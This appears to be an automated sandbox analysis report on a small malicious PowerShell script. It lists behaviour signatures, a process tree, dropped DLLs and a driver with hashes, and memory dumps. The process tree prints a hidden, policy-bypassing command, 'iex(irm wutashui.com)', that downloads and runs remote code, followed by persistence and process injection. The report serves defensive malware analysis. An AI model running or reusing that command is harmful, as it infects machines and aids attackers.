Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    12/05/2026, 15:59

General

  • Target
    ps.ps1
  • Size 117B
  • Sample260512-te919aex8x
  • SHA256 dbd0d07ce0569aec3a2acb9ffa4dece9dc351eac16910e2f759fc55fff88ff55
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm wutashui.com)'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c iex(irm wutashui.com)
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:808
        • C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe
          "C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3976
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3208
  • C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe
    "C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:236
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1492
  • C:\Windows\Temp\xkpsm.sys
    C:\Windows\Temp\xkpsm.sys
    1⤵
    • Executes dropped EXE
    PID:3712
  • C:\Windows\system32\cmd.exe
    "cmd /c cd /d "C:\Users\Admin\AppData\Roaming\SystemsContrcheck" & "C:\Users\Admin\AppData\Roaming\SystemsContrcheck\psl.exe""
    1⤵
      PID:4416

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          PowerShell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log
          • Size 2KB
          • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
          • MD5 SHA1 SHA512

          985f5652facdaeb0.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\985f5652facdaeb0.tmp
          • Size 532KB
          • SHA256 39a547f3a49a1ce36ac577d064147f6d75895c68c68d2d94c57d6a9177c46f87
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_2xvcqnut.541.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2xvcqnut.541.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          opbkav_jgpj_ptjnke.zip

          • Path C:\Users\Admin\AppData\Local\Temp\opbkav_jgpj_ptjnke.zip
          • Size 6.3MB
          • SHA256 3936b5569b62f00c2f7128e538ffdceb05193d20a7fce06f0357d86792bee028
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libiconv-2.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\libiconv-2.dll
          • Size 1.1MB
          • SHA256 9740c8a8351587206aff71a976b9fea7457e59126807216b2e76f68a41579ed4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libidn2-0.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\libidn2-0.dll
          • Size 251KB
          • SHA256 c6296ac4f38ab5f6b66ccea54f337eb61e4b4c64c6cbef9b422d40906102ed23
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libintl-8.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\libintl-8.dll
          • Size 304KB
          • SHA256 014537629d17e625e3f3052e59b5aaad80233af0191b950367b7db06228b46de
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libpsl-5.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\libpsl-5.dll
          • Size 36.0MB
          • SHA256 d346ef393a21b3aaffd3991f27ef12b0142c828097b94d59d4ba997477df7fce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libunistring-5.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\libunistring-5.dll
          • Size 2.1MB
          • SHA256 351ab6db834de03308e468a660dd93cb76d1e60aa213c7fce1c36603c431b7ba
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-2.0.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-2.0.dll
          • Size 3.2MB
          • SHA256 7ad917358bf910168a051aa46670fc5fbe300cd5e63fa2691ca6909237332118
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-iconv-2.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-iconv-2.dll
          • Size 1.1MB
          • SHA256 b76044939dd5d6c6b7cf0d0cf877db6a2d8d7fd433212b78c837ba58f77a1775
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-idn2-0.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-idn2-0.dll
          • Size 202KB
          • SHA256 7912f8204e5b57fe00d59f9b346fcc04137237c879e0af48d2e6167fc21cb937
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-intl-8.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-intl-8.dll
          • Size 119KB
          • SHA256 9517978d663b324f80b3ad454e0f6a99db9cbd5022e98cea93808ddd64630aed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-psl-5.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-psl-5.dll
          • Size 81KB
          • SHA256 465a677a62faf17255a910e52ec595e277831acf471048e84229a60417f0e7d1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msys-unistring-5.dll

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\msys-unistring-5.dll
          • Size 2.0MB
          • SHA256 7c6c656d2413d2398f99de4616416319eaea0d9f91ab8a6efa953b2fe7def760
          • MD5 SHA1 SHA512 SSDEEP TLSH

          psl.exe

          • Path C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe
          • Size 64KB
          • SHA256 68e81ce966ca0c016bb638d0d29b106a0da7eab2ddf70438d8182fa89baf5d78
          • MD5 SHA1 SHA512 SSDEEP TLSH

          xkpsm.sys

          • Path C:\Windows\Temp\xkpsm.sys
          • Size 14KB
          • SHA256 28c5bb735f9fc38e0ebd366978898f0cfcd455e4ff8bf1a321768b09e01ee84d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/236-115-0x00007FF9DED90000-0x00007FF9DEE3E000-memory.dmp

          memory/236-116-0x00007FF9DE9B0000-0x00007FF9DEB4A000-memory.dmp

          memory/236-117-0x00007FF9DDB30000-0x00007FF9DDEA8000-memory.dmp

          memory/236-114-0x00007FF9DEF90000-0x00007FF9DF04D000-memory.dmp

          memory/236-113-0x00007FF9DFA80000-0x00007FF9DFC89000-memory.dmp

          memory/236-132-0x00007FF696D60000-0x00007FF696D75000-memory.dmp

          memory/808-40-0x000001E1F8EA0000-0x000001E1F8ECA000-memory.dmp

          memory/808-45-0x000001E1F8E70000-0x000001E1F8E82000-memory.dmp

          memory/808-42-0x000001E1F8B20000-0x000001E1F8B2A000-memory.dmp

          memory/808-41-0x000001E1F8EA0000-0x000001E1F8EC4000-memory.dmp

          memory/808-39-0x000001E1F8B20000-0x000001E1F8B2A000-memory.dmp

          memory/808-38-0x000001E1F90F0000-0x000001E1F91A3000-memory.dmp

          memory/808-37-0x000001E1F8E50000-0x000001E1F8E6C000-memory.dmp

          memory/808-30-0x000001E1F8F20000-0x000001E1F90E2000-memory.dmp

          memory/1416-8-0x000001F6C2470000-0x000001F6C2480000-memory.dmp

          memory/1416-0-0x000001F6C2470000-0x000001F6C2480000-memory.dmp

          memory/1416-1-0x000001F6A8890000-0x000001F6A88B2000-memory.dmp

          memory/1492-130-0x0000000005940000-0x0000000005972000-memory.dmp

          memory/1492-126-0x0000000000E30000-0x0000000000EBC000-memory.dmp

          memory/1492-138-0x0000000007120000-0x00000000076C6000-memory.dmp

          memory/1492-137-0x0000000006AD0000-0x0000000006B62000-memory.dmp

          memory/1492-134-0x0000000005C20000-0x0000000005C86000-memory.dmp

          memory/1492-131-0x0000000005B60000-0x0000000005BAC000-memory.dmp

          memory/1492-129-0x0000000005850000-0x0000000005918000-memory.dmp

          memory/1492-127-0x00000000057D0000-0x0000000005846000-memory.dmp

          memory/2752-17-0x00000278B67C0000-0x00000278B67D0000-memory.dmp

          memory/2752-9-0x00000278B67C0000-0x00000278B67D0000-memory.dmp

          memory/2752-10-0x00000278B67C0000-0x00000278B67D0000-memory.dmp

          memory/3712-101-0x0000000000010000-0x0000000000018000-memory.dmp

          memory/3976-120-0x00007FF9DEF90000-0x00007FF9DF04D000-memory.dmp

          memory/3976-121-0x00007FF9DED90000-0x00007FF9DEE3E000-memory.dmp

          memory/3976-133-0x00007FF696D60000-0x00007FF696D75000-memory.dmp

          memory/3976-123-0x00007FF9DDB30000-0x00007FF9DDEA8000-memory.dmp

          memory/3976-122-0x00007FF9DE9B0000-0x00007FF9DEB4A000-memory.dmp

          memory/3976-119-0x00007FF9DFA80000-0x00007FF9DFC89000-memory.dmp